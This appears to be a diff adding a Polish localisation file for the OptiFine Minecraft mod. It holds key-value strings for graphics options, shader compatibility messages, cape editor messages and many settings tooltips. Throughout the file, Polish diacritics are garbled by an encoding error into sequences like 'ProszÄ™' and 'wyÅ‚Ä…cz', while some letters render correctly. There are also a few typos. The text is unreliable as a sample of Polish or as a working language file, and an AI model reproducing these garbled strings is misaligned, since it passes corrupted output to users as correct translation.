+of.general.restart=restart +of.general.smart=Smart + +# Keys +of.key.zoom=Przybliżenie + +# Message +of.message.aa.shaders1=Antyaliasing nie jest kompatybilny z Shaderami. +of.message.aa.shaders2=ProszÄ™, wyÅ‚Ä…cz Shadery, aby używać tej opcji. + +of.message.af.shaders1=Filtrowanie anizotropowe nie jest kompatybilne z Shaderami. +of.message.af.shaders2=ProszÄ™, wyÅ‚Ä…cz Shadery, aby używać tej opcji. + +of.message.fr.shaders1=Szybkie renderowanie nie jest kompatybilne z Shaderami. +of.message.fr.shaders2=ProszÄ™, wyÅ‚Ä…cz Shadery, aby używać tej opcji. + +of.message.an.shaders1=Anaglifowe 3D nie jest kompatybilne z Shaderami. +of.message.an.shaders2=ProszÄ™, wyÅ‚Ä…cz Shadery, aby używać tej opcji. + +of.message.shaders.aa1=Shadery nie sÄ… kompatybilne z antyaliasingiem. +of.message.shaders.aa2=ProszÄ™, wyÅ‚Ä…cz opcjÄ™ Jakość -> Antyaliasing, a nastÄ™pnie zrestartuj grÄ™. + +of.message.shaders.af1=Shadery nie sÄ… kompatybilne z filtrowaniem anizotropowym. +of.message.shaders.af2=ProszÄ™, wyÅ‚Ä…cz opcjÄ™ Jakość -> Filtrowanie anizotropowe. + +of.message.shaders.fr1=Shadery nie sÄ… kompatybilne z szybkim renderowaniem. +of.message.shaders.fr2=ProszÄ™, wyÅ‚Ä…cz opcjÄ™ Wydajność -> Szybkie renderowanie. + +of.message.shaders.an1=Shadery nie sÄ… kompatybilne z anaglifowym 3D. +of.message.shaders.an2=ProszÄ™, wyÅ‚Ä…cz opcjÄ™ Inne -> Anaglifowe 3D. + +of.message.shaders.nv1=Ten zestaw shaderów wymaga nowszej wersji OptiFine: %s +of.message.shaders.nv2=Czy na pewno chcesz kontynuować? + +of.message.newVersion=Nowa wersja §eOptiFine§f jest dostÄ™pna: §e%s§f +of.message.java64Bit=Zalecamy zainstalowanie §e64-bitowego Å›rodowiska Java§f, aby zwiÄ™kszyć wydajność. +of.message.openglError=§eBÅ‚Ä…d OpenGL§f: %s (%s) + +of.message.shaders.loading=WczytujÄ™ shadery: %s + +of.message.other.reset=Czy chcesz przywrócić wszystkie ustawienia graficzne do ich domyÅ›lnych wartoÅ›ci? + +of.message.loadingVisibleChunks=Wczytywanie widzialnych chunków + +# Skin customization + +of.options.skinCustomisation.ofCape=Peleryna OptiFine... + +of.options.capeOF.title=Peleryna OptiFine +of.options.capeOF.openEditor=Otwórz edytor peleryny +of.options.capeOF.reloadCape=PrzeÅ‚aduj pelerynÄ™ +of.options.capeOF.copyEditorLink=Skopiuj link do schowka + +of.message.capeOF.openEditor=Edytor peleryny OptiFine powinien siÄ™ otworzyć w przeglÄ…darce. +of.message.capeOF.openEditorError=BÅ‚Ä…d podczas otwierania linku edytora w przeglÄ…darce. +of.message.capeOF.reloadCape=Peleryna zostanie przeÅ‚adowana w ciÄ…gu 15 sekund. + +of.message.capeOF.error1=Niepowodzenie autoryzacji Mojang. +of.message.capeOF.error2=BÅ‚Ä…d: %s + +# Video settings + +options.graphics.tooltip.1=Jakość grafiki +options.graphics.tooltip.2= Szybka - niższa jakość, wiÄ™ksza wydajność +options.graphics.tooltip.3= DokÅ‚adna - wyższa jakość, mniejsza wydajność +options.graphics.tooltip.4=Zmienia wyglÄ…d chmur, liÅ›ci, wody, +options.graphics.tooltip.5=cieni oraz boków bloków trawy. + +of.options.renderDistance.tiny=Najkrótsza +of.options.renderDistance.short=Krótka +of.options.renderDistance.normal=Normalna +of.options.renderDistance.far=DÅ‚uga +of.options.renderDistance.extreme=Ekstremalna +of.options.renderDistance.insane=Szalona +of.options.renderDistance.ludicrous=Niedorzeczna + +options.renderDistance.tooltip.1=OdlegÅ‚ość renderowania +options.renderDistance.tooltip.2= 2 Najkrótsza - 32m +options.renderDistance.tooltip.3= 8 Normalna - 128m +options.renderDistance.tooltip.4= 16 DÅ‚uga - 256m +options.renderDistance.tooltip.5= 32 Ekstremalna - 512m +options.renderDistance.tooltip.6= 48 Szalona - 768m, potrzeba min. 2GB RAMu +options.renderDistance.tooltip.7= 64 Niedorzeczna - 1024m, potrzeba min. 3GB RAMu +options.renderDistance.tooltip.8=WartoÅ›ci powyżej 16 sÄ… zalecane tylko dla lokalnych Å›wiatów. + +options.ao.tooltip.1=GÅ‚adkie oÅ›wietlenie +options.ao.tooltip.2= WyÅ‚. - brak wygÅ‚adzania oÅ›wietlenia (wysoka wydajność) +options.ao.tooltip.3= Min. - podstawowe wygÅ‚adzanie oÅ›wietlenia (niska wydajność) +options.ao.tooltip.4= Maks. - peÅ‚ne wygÅ‚adzanie oÅ›wietlenia (najniższa wydajność) + +options.framerateLimit.tooltip.1=Limit klatek/s (FPS) +options.framerateLimit.tooltip.2= VSync - ograniczone do możliwoÅ›ci monitora (60, 30, 20) +options.framerateLimit.tooltip.3= 5-255 - ograniczone do podanej wartoÅ›ci +options.framerateLimit.tooltip.4= Nielimitowane - brak limitu (najwyższa wydajność) +options.framerateLimit.tooltip.5=Limit klatek zmiejsza FPS, nawet, gdy wartość +options.framerateLimit.tooltip.6=graniczna nie zostaÅ‚a osiÄ…gniÄ™ta. +of.options.framerateLimit.vsync=VSync + +of.options.AO_LEVEL=Poziom wygÅ‚adzania oÅ›wietlenia +of.options.AO_LEVEL.tooltip.1=Poziom wygÅ‚adzania oÅ›wietlenia +of.options.AO_LEVEL.tooltip.2= WyÅ‚. - brak cieni +of.options.AO_LEVEL.tooltip.3= 50%% - jasne cienie +of.options.AO_LEVEL.tooltip.4= 100%% - ciemne cienie + +options.viewBobbing.tooltip.1=Bardziej realistyczne poruszanie siÄ™. +options.viewBobbing.tooltip.2=JeÅ›li używasz mipmap, wyÅ‚Ä…cz tÄ™ opcjÄ™, aby zwiÄ™kszyć wydajność. + +options.guiScale.tooltip.1=Wielkość interfejsu +options.guiScale.tooltip.2= Auto - maksymalna dostÄ™pna wielkość +options.guiScale.tooltip.3= MaÅ‚y, Normalny, Duży - od 1x do 3x +options.guiScale.tooltip.4= od 4x do 10x - dostÄ™pne na wyÅ›wietlaczach 4K +options.guiScale.tooltip.5=WartoÅ›ci nieparzyste (1x, 3x, 5x...) nie sÄ… kompatybilne +options.guiScale.tooltip.6=z Unicode. Mniejszy interfejs może zwiÄ™kszyć wydajność. + +options.vbo=Używaj VBO +options.vbo.tooltip.1=Vertex Buffer Objects +options.vbo.tooltip.2=Używa alternatywnej metody renderowania, która jest +options.vbo.tooltip.3=szybsza (o 5-10%%) niż zwykÅ‚a metoda. + +options.gamma.tooltip.1=Podwyższa jasność ciemnych obiektów +options.gamma.tooltip.2= Nastrojowa - standardowa jasność +options.gamma.tooltip.3= 1%%-99%% - możliwość dostosowania jasnoÅ›ci +options.gamma.tooltip.4= Jaskrawa - maksymalna jasność ciemnych obiektów +options.gamma.tooltip.5=Ta opcja nie podwyższa jasnoÅ›ci obiektów, które +options.gamma.tooltip.6=sÄ… caÅ‚kowicie czarne. + +options.anaglyph.tooltip.1=Anaglify 3D +options.anaglyph.tooltip.2=WÅ‚Ä…cza stereoskopowy efekt 3D używajÄ…c różnych kolorów +options.anaglyph.tooltip.3=dla każdego oka. +options.anaglyph.tooltip.4=Wymaga czerwono-niebieskich okularów. + +options.attackIndicator.tooltip.1=Konfiguruje pozycjÄ™ wskaźnika ataku +options.attackIndicator.tooltip.2= Celownik - pod celownikiem +options.attackIndicator.tooltip.3= Pasek narzÄ™dzi - obok paska narzÄ™dzi +options.attackIndicator.tooltip.4= WyÅ‚. - brak wskaźnika ataku +options.attackIndicator.tooltip.5=Wskaźnik ataku pokazuje siÅ‚Ä™ ataku +options.attackIndicator.tooltip.6=obecnie używanego przedmiotu. + +of.options.ALTERNATE_BLOCKS=Alternatywne bloki +of.options.blockAlternatives.tooltip.1=Alternatywne bloki +of.options.blockAlternatives.tooltip.2=Używa alternatywnych modeli dla niektóych bloków. +of.options.blockAlternatives.tooltip.3=Bazowane na wybranej paczce tekstur. + +of.options.FOG_FANCY=MgÅ‚a +of.options.FOG_FANCY.tooltip.1=Typ mgÅ‚y +of.options.FOG_FANCY.tooltip.2= Szybka - szybka mgÅ‚a +of.options.FOG_FANCY.tooltip.3= DokÅ‚adna - Å‚adniejsza mgÅ‚a, zmniejsza wydajność +of.options.FOG_FANCY.tooltip.4= WyÅ‚. - brak mgÅ‚y, najwyższa wydajność +of.options.FOG_FANCY.tooltip.5=DokÅ‚adna mgÅ‚a jest dostÄ™pna tylko, gdy +of.options.FOG_FANCY.tooltip.6=obsÅ‚uguje jÄ… karta graficzna. + +of.options.FOG_START=PoczÄ…tkowa mgÅ‚a +of.options.FOG_START.tooltip.1=PoczÄ…tkowa mgÅ‚a +of.options.FOG_START.tooltip.2= 0.2 - mgÅ‚a pojawia siÄ™ w pobliżu gracza +of.options.FOG_START.tooltip.3= 0.8 - mgÅ‚a pojawia siÄ™ z dala od gracza +of.options.FOG_START.tooltip.4=Ta opcja zazwyczaj nie zmienia wydajnoÅ›ci. + +of.options.CHUNK_LOADING=Åadowanie chunków +of.options.CHUNK_LOADING.tooltip.1=Åadowanie chunków +of.options.CHUNK_LOADING.tooltip.2= DomyÅ›lne - niestabilne FPS podczas Å‚adowania chunków +of.options.CHUNK_LOADING.tooltip.3= GÅ‚adkie - stabilne FPS +of.options.CHUNK_LOADING.tooltip.4= Wielordzeniowe - stabilne FPS, 3 razy szybsze Å‚adowanie Å›wiata +of.options.CHUNK_LOADING.tooltip.5=Opcje GÅ‚adkie i Wielordzeniowe zredukujÄ… +of.options.CHUNK_LOADING.tooltip.6=przyciÄ™cia spowodowane Å‚adowaniem chunków. +of.options.CHUNK_LOADING.tooltip.7=Opcja Wielordzeniowe może trzykrotnie przyspieszyć Å‚adowanie +of.options.CHUNK_LOADING.tooltip.8=oraz podwyższyć FPS używajÄ…c dodatkowego rdzenia. +of.options.chunkLoading.smooth=GÅ‚adkie +of.options.chunkLoading.multiCore=Wielordzeniowe + +of.options.shaders=Shadery... +of.options.shadersTitle=Shadery + +of.options.shaders.packNone=WyÅ‚Ä…czone +of.options.shaders.packDefault=DomyÅ›lne + +of.options.shaders.ANTIALIASING=Antyaliasing +of.options.shaders.ANTIALIASING.tooltip.1=Antyaliasing +of.options.shaders.ANTIALIASING.tooltip.2= WyÅ‚. - (domyÅ›lnie) bez antyaliasingu (wyższa wydajność) +of.options.shaders.ANTIALIASING.tooltip.3= FXAA 2x, 4x - wygÅ‚adzone linie i krawÄ™dzie (niższa wydajność) +of.options.shaders.ANTIALIASING.tooltip.4=FXAA to obróbka koÅ„cowa, która wygÅ‚adza +of.options.shaders.ANTIALIASING.tooltip.5=postrzÄ™pione linie i ostre przejÅ›cia kolorów. +of.options.shaders.ANTIALIASING.tooltip.6=Jest wydajniejsza niż tradycyjny antyaliasing +of.options.shaders.ANTIALIASING.tooltip.7=i kompatybilna z shaderami i szybkim renderowaniem. + +of.options.shaders.NORMAL_MAP=Mapowanie normalnych +of.options.shaders.NORMAL_MAP.tooltip.1=Mapowanie normalnych +of.options.shaders.NORMAL_MAP.tooltip.2= WÅ‚. - (domyÅ›lnie) wÅ‚Ä…czone mapy normalnych +of.options.shaders.NORMAL_MAP.tooltip.3= WyÅ‚. - wyÅ‚Ä…czone mapy normalnych +of.options.shaders.NORMAL_MAP.tooltip.4=Mapy normalnych mogÄ… być używane przez paczkÄ™ shaderów, +of.options.shaders.NORMAL_MAP.tooltip.5=aby symulować geometriÄ™ 3D na pÅ‚askich powierzchniach +of.options.shaders.NORMAL_MAP.tooltip.6=modeli. Tekstury map normalnych sÄ… dostarczane +of.options.shaders.NORMAL_MAP.tooltip.7=z obecnej paczki zasobów. + +of.options.shaders.SPECULAR_MAP=Lustrzana mapa +of.options.shaders.SPECULAR_MAP.tooltip.1=Lustrzana mapa +of.options.shaders.SPECULAR_MAP.tooltip.2= WÅ‚. (domyÅ›lnie) wÅ‚Ä…czone lustrzane mapy +of.options.shaders.SPECULAR_MAP.tooltip.3= WyÅ‚. - wyÅ‚Ä…czone lustrzane mapy +of.options.shaders.SPECULAR_MAP.tooltip.4=Lustrzane mapy mogÄ… być używane przez paczkÄ™ shaderów, +of.options.shaders.SPECULAR_MAP.tooltip.5=aby symulować specjalne efekty refleksów. +of.options.shaders.SPECULAR_MAP.tooltip.6=Tekstury lustrzanych map sÄ… dostarczane +of.options.shaders.SPECULAR_MAP.tooltip.7=z obecnej paczki zasobów. + +of.options.shaders.RENDER_RES_MUL=Jakość renderowania +of.options.shaders.RENDER_RES_MUL.tooltip.1=Jakość renderowania +of.options.shaders.RENDER_RES_MUL.tooltip.2= 0.5x - niska (najwyższa wydajność) +of.options.shaders.RENDER_RES_MUL.tooltip.3= 1x - standardowa (domyÅ›lnie) +of.options.shaders.RENDER_RES_MUL.tooltip.4= 2x - wysoka (najniższa wydajność) +of.options.shaders.RENDER_RES_MUL.tooltip.5=Ta opcja kontroluje wielkość tekstury, +of.options.shaders.RENDER_RES_MUL.tooltip.6=którÄ… paczka shaderów renderuje. +of.options.shaders.RENDER_RES_MUL.tooltip.7=Niższe wartoÅ›ci mogÄ… być przydatne przy wyÅ›wietlaczach 4K. +of.options.shaders.RENDER_RES_MUL.tooltip.8=Wyższe wartoÅ›ci pracujÄ… jako filtr antyaliasingowy. + +of.options.shaders.SHADOW_RES_MUL=Jakość cieni +of.options.shaders.SHADOW_RES_MUL.tooltip.1=Jakość cieni +of.options.shaders.SHADOW_RES_MUL.tooltip.2= 0.5x - niska (najwyższa wydajność) +of.options.shaders.SHADOW_RES_MUL.tooltip.3= 1x - standardowa (domyÅ›lnie) +of.options.shaders.SHADOW_RES_MUL.tooltip.4= 2x - wysoka (najniższa wydajność) +of.options.shaders.SHADOW_RES_MUL.tooltip.5=Ta opcja kontroluje wielkość tekstury +of.options.shaders.SHADOW_RES_MUL.tooltip.6=mapy cieni używanÄ… przez paczkÄ™ shaderów. +of.options.shaders.SHADOW_RES_MUL.tooltip.7=Niższe wartoÅ›ci = niedokÅ‚adne, chropowate cienie. +of.options.shaders.SHADOW_RES_MUL.tooltip.8=Wyższe wartoÅ›ci = szczegółowe, Å‚adne cienie. + +of.options.shaders.HAND_DEPTH_MUL=GÅ‚Ä™bokość rÄ™ki +of.options.shaders.HAND_DEPTH_MUL.tooltip.1=GÅ‚Ä™bokość rÄ™ki +of.options.shaders.HAND_DEPTH_MUL.tooltip.2= 0.5x - rÄ™ka blisko kamery +of.options.shaders.HAND_DEPTH_MUL.tooltip.3= 1x - domyÅ›lnie +of.options.shaders.HAND_DEPTH_MUL.tooltip.4= 2x - rÄ™ka daleko kamery +of.options.shaders.HAND_DEPTH_MUL.tooltip.5=Ta opcja kontroluje jak trzymane obiekty sÄ… +of.options.shaders.HAND_DEPTH_MUL.tooltip.6=oddalone od kamery. Dla paczek shaderów używajÄ…cych +of.options.shaders.HAND_DEPTH_MUL.tooltip.7=gÅ‚Ä™bokiego rozmycia ta opcja powinna zmienić +of.options.shaders.HAND_DEPTH_MUL.tooltip.8=rozmycie trzymanych obiektów. + +of.options.shaders.CLOUD_SHADOW=Cienie chmur + +of.options.shaders.OLD_HAND_LIGHT=Stare Å›wiatÅ‚o rÄ™czne +of.options.shaders.OLD_HAND_LIGHT.tooltip.1=Stara metoda oÅ›wietlania przez przedmioty trzymane w rÄ™ce +of.options.shaders.OLD_HAND_LIGHT.tooltip.2= DomyÅ›lne - kontrolowane przez paczkÄ™ shaderów +of.options.shaders.OLD_HAND_LIGHT.tooltip.3= WÅ‚. - używaj starej metody oÅ›wietlania +of.options.shaders.OLD_HAND_LIGHT.tooltip.4= WyÅ‚. - używaj nowej metody oÅ›wietlania +of.options.shaders.OLD_HAND_LIGHT.tooltip.5=Ta opcja pozwala paczkom shaderów, które wykrywajÄ… jedynie +of.options.shaders.OLD_HAND_LIGHT.tooltip.6=przedmioty emitujÄ…ce Å›wiatÅ‚o w głównej rÄ™ce, +of.options.shaders.OLD_HAND_LIGHT.tooltip.7=pracować także z przedmiotami w rÄ™ce podrzÄ™dnej. + +of.options.shaders.OLD_LIGHTING=Stare oÅ›wietlanie +of.options.shaders.OLD_LIGHTING.tooltip.1=Stare oÅ›wietlanie +of.options.shaders.OLD_LIGHTING.tooltip.2= DomyÅ›lne - kontrolowane przez paczkÄ™ shaderów +of.options.shaders.OLD_LIGHTING.tooltip.3= WÅ‚. - używaj starego oÅ›wietlania +of.options.shaders.OLD_LIGHTING.tooltip.4= WyÅ‚. - nie używaj starego oÅ›wietlania +of.options.shaders.OLD_LIGHTING.tooltip.5=Ta opcja kontroluje naprawione oÅ›wietlenie zastosowane +of.options.shaders.OLD_LIGHTING.tooltip.6=w vanilla na strony bloków. +of.options.shaders.OLD_LIGHTING.tooltip.7=Paczki shaderów używajÄ…ce cieni zazwyczaj dostarczajÄ… +of.options.shaders.OLD_LIGHTING.tooltip.8=wiele lepsze oÅ›wietlenie bazujÄ…ce na poÅ‚ożeniu sÅ‚oÅ„ca. + +of.options.shaders.DOWNLOAD=Pobierz shadery +of.options.shaders.DOWNLOAD.tooltip.1=Pobieranie shaderów +of.options.shaders.DOWNLOAD.tooltip.2= +of.options.shaders.DOWNLOAD.tooltip.3=Ta opcja otwiera w przeglÄ…darce stronÄ™ z paczkami shaderów. +of.options.shaders.DOWNLOAD.tooltip.4=Umieść pobrane paczki w "Folderze na shadery", +of.options.shaders.DOWNLOAD.tooltip.5=a one pojawiÄ… siÄ™ na liÅ›cie zainstalowanych shaderów. + +of.options.shaders.SHADER_PACK=Paczka shaderów + +of.options.shaders.shadersFolder=Folder na shadery +of.options.shaders.shaderOptions=Ustawienia shaderów... + +of.options.shaderOptionsTitle=Ustawienia shaderów + +of.options.quality=Jakość... +of.options.qualityTitle=Ustawienia jakoÅ›ci + +of.options.details=Detale... +of.options.detailsTitle=Ustawienia detali + +of.options.performance=Wydajność... +of.options.performanceTitle=Ustawienia wydajnoÅ›ci + +of.options.animations=Animacje... +of.options.animationsTitle=Ustawienia animacji + +of.options.other=Inne... +of.options.otherTitle=Inne ustawienia + +of.options.other.reset=Przywróć domyÅ›lne ustawienia graficzne... + +of.shaders.profile=Profil + +# Quality + +of.options.mipmap.bilinear=Dwuliniowe +of.options.mipmap.linear=Liniowy +of.options.mipmap.nearest=Najbliższy +of.options.mipmap.trilinear=Trójliniowy + +options.mipmapLevels.tooltip.1=Efekt wizualny, który sprawia, że odlegÅ‚e bloki wyglÄ…dajÄ… +options.mipmapLevels.tooltip.2=lepiej poprzez wygÅ‚adzanie detali tekstur +options.mipmapLevels.tooltip.3= WyÅ‚. - brak wygÅ‚adzania +options.mipmapLevels.tooltip.4= 1 - minimalne wygÅ‚adzanie +options.mipmapLevels.tooltip.5= 4 - maksymalne wygÅ‚adzanie +options.mipmapLevels.tooltip.6=Ta opcja nie ma wpÅ‚ywu na wydajność. + +of.options.MIPMAP_TYPE=Typ mipmapy +of.options.MIPMAP_TYPE.tooltip.1=Efekt wizualny, który sprawia, że odlegÅ‚e bloki wyglÄ…dajÄ… +of.options.MIPMAP_TYPE.tooltip.2=lepiej poprzez wygÅ‚adzanie detali tekstur +of.options.MIPMAP_TYPE.tooltip.3= Najbliższy - szorstkie wygÅ‚adzanie (najwyższa wydajność) +of.options.MIPMAP_TYPE.tooltip.4= Liniowy - normalne wygÅ‚adzanie +of.options.MIPMAP_TYPE.tooltip.5= Dwuliniowy - Å‚adne wygÅ‚adzanie +of.options.MIPMAP_TYPE.tooltip.6= Trójliniowe - najÅ‚adniejsze wygÅ‚adzanie (najniższa wydajność) + + +of.options.AA_LEVEL=Antyaliasing +of.options.AA_LEVEL.tooltip.1=Antyaliasing +of.options.AA_LEVEL.tooltip.2= OFF - (domyÅ›lne) brak antyaliasingu (wyższa wydajność) +of.options.AA_LEVEL.tooltip.3= 2-16 - antyaliasing linii i rogów (nizsza wydajność) +of.options.AA_LEVEL.tooltip.4=Antyaliasing wygÅ‚adza poszarpane linie i +of.options.AA_LEVEL.tooltip.5=ostre przejÅ›cia kolorów. +of.options.AA_LEVEL.tooltip.6=Gdy wÅ‚Ä…czone, może mocno obniżyć ilość FPS. +of.options.AA_LEVEL.tooltip.7=Niektóre poziomy sÄ… nieobsÅ‚ugiwane przez niektóre karty graficzne. +of.options.AA_LEVEL.tooltip.8=Wymaga restartu! + +of.options.AF_LEVEL=WygÅ‚adzanie Anizotropowe +of.options.AF_LEVEL.tooltip.1=WygÅ‚adzanie anizotropowe +of.options.AF_LEVEL.tooltip.2= WyÅ‚. - (domyÅ›lne) standarowe detale tekstur (najwyższa wydajność) +of.options.AF_LEVEL.tooltip.3= 2-16 - Å‚adniejsze detale w mipmapowanych teksturach (niższa wydajność) +of.options.AF_LEVEL.tooltip.4=Filtrowanie anizotropowe pokazuje detale w +of.options.AF_LEVEL.tooltip.5=mipmapowanych teksturach. +of.options.AF_LEVEL.tooltip.6=Gdy wÅ‚Ä…czone, może mocno obniżyć FPS. + +of.options.CLEAR_WATER=Czysta woda +of.options.CLEAR_WATER.tooltip.1=Czysta woda +of.options.CLEAR_WATER.tooltip.2= WÅ‚. - czysta, przezroczysta woda +of.options.CLEAR_WATER.tooltip.3= WyÅ‚. - domyÅ›lna woda + +of.options.RANDOM_ENTITIES=Losowe moby +of.options.RANDOM_ENTITIES.tooltip.1=Losowe tekstury mobów +of.options.RANDOM_ENTITIES.tooltip.2= WyÅ‚. - brak losowych tekstur mobów, wyższa wydajność +of.options.RANDOM_ENTITIES.tooltip.3= WÅ‚. - wÅ‚Ä…czone losowe tekstury mobów, niższa wydajność +of.options.RANDOM_ENTITIES.tooltip.4=Ta opcja używa losowych tekstur dla mobów w grze. +of.options.RANDOM_ENTITIES.tooltip.5=Wymaga paczki tesktur z wieloma teksturami dla jednego moba. + +of.options.BETTER_GRASS=Åadniejsza trawa +of.options.BETTER_GRASS.tooltip.1=Åadniejsza trawa +of.options.BETTER_GRASS.tooltip.2= WyÅ‚. - domyÅ›lne boki bloków trawy, najwyższa wydajność +of.options.BETTER_GRASS.tooltip.3= Szybka - peÅ‚ne boki bloków trawy, niższa wydajność +of.options.BETTER_GRASS.tooltip.4= DokÅ‚adna - dynamiczne boki bloków trawy, najniższa wydajność + +of.options.BETTER_SNOW=Åadniejszy Å›nieg +of.options.BETTER_SNOW.tooltip.1=Åadniejszy Å›nieg +of.options.BETTER_SNOW.tooltip.2= WyÅ‚. - domyÅ›lny Å›nieg, wyższa wydajność +of.options.BETTER_SNOW.tooltip.3= WÅ‚. - Å‚adniejszy Å›nieg, mniejsza wydajność +of.options.BETTER_SNOW.tooltip.4=Pokazuje Å›nieg pod przezroczystymi blokami (pÅ‚ot, wysoka +of.options.BETTER_SNOW.tooltip.5=trawa) gdy graniczÄ… ze Å›niegiem + +of.options.CUSTOM_FONTS=WÅ‚asne czcionki +of.options.CUSTOM_FONTS.tooltip.1=WÅ‚asne czcionki +of.options.CUSTOM_FONTS.tooltip.2= WÅ‚. - używa innych czcionek (domyÅ›lne), niższa wydajność +of.options.CUSTOM_FONTS.tooltip.3= WyÅ‚. - używa domyÅ›lnej czcionki, wyższa wydajność +of.options.CUSTOM_FONTS.tooltip.4=WÅ‚asne czcionki sÄ… czÄ™sto dodawane do +of.options.CUSTOM_FONTS.tooltip.5=paczek tekstur + +of.options.CUSTOM_COLORS=WÅ‚asne kolory +of.options.CUSTOM_COLORS.tooltip.1=WÅ‚asne kolory +of.options.CUSTOM_COLORS.tooltip.2= WÅ‚. - używa wÅ‚asnych kolorów (domyÅ›lne), nizsza wydajność +of.options.CUSTOM_COLORS.tooltip.3= WyÅ‚. - uzywa domyÅ›lnych kolorów, wyższa wydajność +of.options.CUSTOM_COLORS.tooltip.4=WÅ‚asne kolory sÄ… czÄ™sto dodawane do +of.options.CUSTOM_COLORS.tooltip.5=paczek tekstur + +of.options.SWAMP_COLORS=Bagienne kolory +of.options.SWAMP_COLORS.tooltip.1=Bagienne kolory +of.options.SWAMP_COLORS.tooltip.2= WÅ‚. - używa kolorów bagiennych (domyÅ›lne), niższa wydajność +of.options.SWAMP_COLORS.tooltip.3= WyÅ‚. - nie używa kolorów baginnych, wyższa wydajność +of.options.SWAMP_COLORS.tooltip.4=Kolory bagienne sÄ… użwane na liÅ›ciach, trawie, winoroÅ›lach oraz wodzie. + +of.options.SMOOTH_BIOMES=GÅ‚adkie biomy +of.options.SMOOTH_BIOMES.tooltip.1=GÅ‚adkie przejÅ›cia biomów +of.options.SMOOTH_BIOMES.tooltip.2= WÅ‚. - gÅ‚adkie przejÅ›cia biomów (domyÅ›lne), niższa wydajność +of.options.SMOOTH_BIOMES.tooltip.3= WyÅ‚. - brak gÅ‚adkiego przejÅ›cia biomów, wyższa wydajność +of.options.SMOOTH_BIOMES.tooltip.4=WygÅ‚adzanie krawÄ™dzi biomów dziaÅ‚a na zasadzie +of.options.SMOOTH_BIOMES.tooltip.5=gÅ‚adkiego przejÅ›cia kolorów liÅ›ci, winoroÅ›li, +of.options.SMOOTH_BIOMES.tooltip.6=wody oraz trawy. + +of.options.CONNECTED_TEXTURES=PoÅ‚Ä…czone tekstury +of.options.CONNECTED_TEXTURES.tooltip.1=PoÅ‚Ä…czone tekstury +of.options.CONNECTED_TEXTURES.tooltip.2= WyÅ‚. - brak poÅ‚Ä…czonych tekstur (domyÅ›lne) +of.options.CONNECTED_TEXTURES.tooltip.3= Szybka - szybkie poÅ‚Ä…czone tekstury +of.options.CONNECTED_TEXTURES.tooltip.4= DokÅ‚adna - Å‚adne poÅ‚Ä…czone tekstury +of.options.CONNECTED_TEXTURES.tooltip.5=Ta opcja Å‚Ä…czy postawione obok siebie szkÅ‚o, +of.options.CONNECTED_TEXTURES.tooltip.6=piaskowiec i biblioteczki. +of.options.CONNECTED_TEXTURES.tooltip.7=PoÅ‚Ä…czone tekstury sÄ… pobierane z +of.options.CONNECTED_TEXTURES.tooltip.8=aktualnej paczki tekstur. + +of.options.NATURAL_TEXTURES=Naturalne tekstury +of.options.NATURAL_TEXTURES.tooltip.1=Naturalne tekstury +of.options.NATURAL_TEXTURES.tooltip.2= WyÅ‚. - brak naturalnych tekstur (domyÅ›lne) +of.options.NATURAL_TEXTURES.tooltip.3= WÅ‚. - używa naturalnych tekstur +of.options.NATURAL_TEXTURES.tooltip.4=Ta opcja usuwa wyglÄ…dajÄ…ce jak siatka tekstury +of.options.NATURAL_TEXTURES.tooltip.5=stworzone poprzez używanie w kółko tej samej tekstury. +of.options.NATURAL_TEXTURES.tooltip.6=Ta opcje używa obróconych tekstur bloków. +of.options.NATURAL_TEXTURES.tooltip.7=Konfiguracja naturalnych tekstur jest pobierana +of.options.NATURAL_TEXTURES.tooltip.8=z aktualnej paczki tekstur. + +of.options.EMISSIVE_TEXTURES=Tekstury emisyjne +of.options.EMISSIVE_TEXTURES.tooltip.1=Tekstury emisyjne +of.options.EMISSIVE_TEXTURES.tooltip.2= WyÅ‚. - wyÅ‚Ä…cz tekstury emisyjne (domyÅ›lne) +of.options.EMISSIVE_TEXTURES.tooltip.3= WÅ‚. - używaj tekstur emisyjnych +of.options.EMISSIVE_TEXTURES.tooltip.4=Tekstury emisyjne sÄ… renderowane jako nakÅ‚adki +of.options.EMISSIVE_TEXTURES.tooltip.5=z peÅ‚nÄ… jasnoÅ›ciÄ…. MogÄ… być używane do symulowania +of.options.EMISSIVE_TEXTURES.tooltip.6=czÄ…stek emitujÄ…cych Å›wiatÅ‚o tekstury bazowej. +of.options.EMISSIVE_TEXTURES.tooltip.7=Tekstury emisyjne sÄ… dostarczane +of.options.EMISSIVE_TEXTURES.tooltip.8=z obecnej paczki zasobów. + +of.options.CUSTOM_SKY=WÅ‚asne niebo +of.options.CUSTOM_SKY.tooltip.1=WÅ‚asne niebo +of.options.CUSTOM_SKY.tooltip.2= WÅ‚. - tekstury wÅ‚asnego nieba wÅ‚Ä…czone (domyÅ›lne), niższa wydajność +of.options.CUSTOM_SKY.tooltip.3= WyÅ‚. - domyÅ›lne niebo, wyższa wydajność +of.options.CUSTOM_SKY.tooltip.4=WÅ‚asne niebo jest pobierane +of.options.CUSTOM_SKY.tooltip.5=z aktualnej paczki tesktur. + +of.options.CUSTOM_ITEMS=WÅ‚asne przedmioty +of.options.CUSTOM_ITEMS.tooltip.1=WÅ‚asne przedmioty +of.options.CUSTOM_ITEMS.tooltip.2= WÅ‚. - wÅ‚asne tekstury przedmiotów (domyÅ›lne), niższa wydajność +of.options.CUSTOM_ITEMS.tooltip.3= WyÅ‚. - domyÅ›lne tesktury przedmiotów, wyższa wydajność +of.options.CUSTOM_ITEMS.tooltip.4=WÅ‚asne tekstury przedmiotów sÄ… pobierane +of.options.CUSTOM_ITEMS.tooltip.5=z aktualnej paczki tekstur. + +of.options.CUSTOM_ENTITY_MODELS=WÅ‚asne modele mobów +of.options.CUSTOM_ENTITY_MODELS.tooltip.1=WÅ‚asne modele mobów i innych podmiotów +of.options.CUSTOM_ENTITY_MODELS.tooltip.2= WÅ‚. - opcja wÅ‚Ä…czona (domyÅ›lne), wolniej +of.options.CUSTOM_ENTITY_MODELS.tooltip.3= WyÅ‚. - opcja wyÅ‚Ä…czona, szybciej +of.options.CUSTOM_ENTITY_MODELS.tooltip.4=WÅ‚asne modele sÄ… pobierane z +of.options.CUSTOM_ENTITY_MODELS.tooltip.5=aktualnej paczki tekstur. + +of.options.CUSTOM_GUIS=WÅ‚asne GUI +of.options.CUSTOM_GUIS.tooltip.1=WÅ‚asne GUI +of.options.CUSTOM_GUIS.tooltip.2= WÅ‚. - wÅ‚asne GUI (domyÅ›lne), niższa wydajność +of.options.CUSTOM_GUIS.tooltip.3= WyÅ‚. - domyÅ›lne GUI, wyższa wydajność +of.options.CUSTOM_GUIS.tooltip.4=WÅ‚asne GUI 